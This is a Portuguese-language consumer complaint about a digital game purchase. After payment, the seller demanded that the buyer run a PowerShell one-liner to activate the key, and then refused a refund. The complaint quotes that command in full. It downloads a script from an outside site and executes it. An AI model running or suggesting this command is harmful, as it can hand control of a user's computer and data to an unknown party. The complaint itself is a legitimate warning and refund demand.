O que aconteceu
Comprei um jogo digital (Days Gone) na loja Apex Storms no valor de R$ 25,90, tendo o pagamento via Pix processado pela Promistic Marketplace Ltda (CNPJ: 64.992.773/0001-84). No momento da compra, o anúncio indicava a ativação padrão de chaves na Steam, mas após o pagamento, fui informado de que precisaria executar um comando/script desconhecido diretamente no PowerShell do meu computador com a Steam fechada (irm [keyssteam.com/install](https://keyssteam.com/install) | iex).
Como isso representa um risco óbvio e inaceitável à segurança do meu sistema e dados pessoais, entrei em contato com o suporte imediatamente para solicitar o cancelamento e o reembolso. O atendente se recusou a devolver o dinheiro, alegando que "não fazem reembolso por arrependimento" e que o método de ativação é de responsabilidade deles.
Essa conduta viola frontalmente o Artigo 49 do Código de Defesa do Consumidor (Direito de Arrependimento para compras fora de loja física no prazo de 7 dias), além de omitir o método real de entrega no ato da compra.
Exijo o estorno imediato do valor pago de R$ 25,90 intermediado pela Promistic Marketplace para encerrarmos o caso amigavelmente. Tenho todos os prints da conversa, do atendimento e o comprovante de pagamento salvos.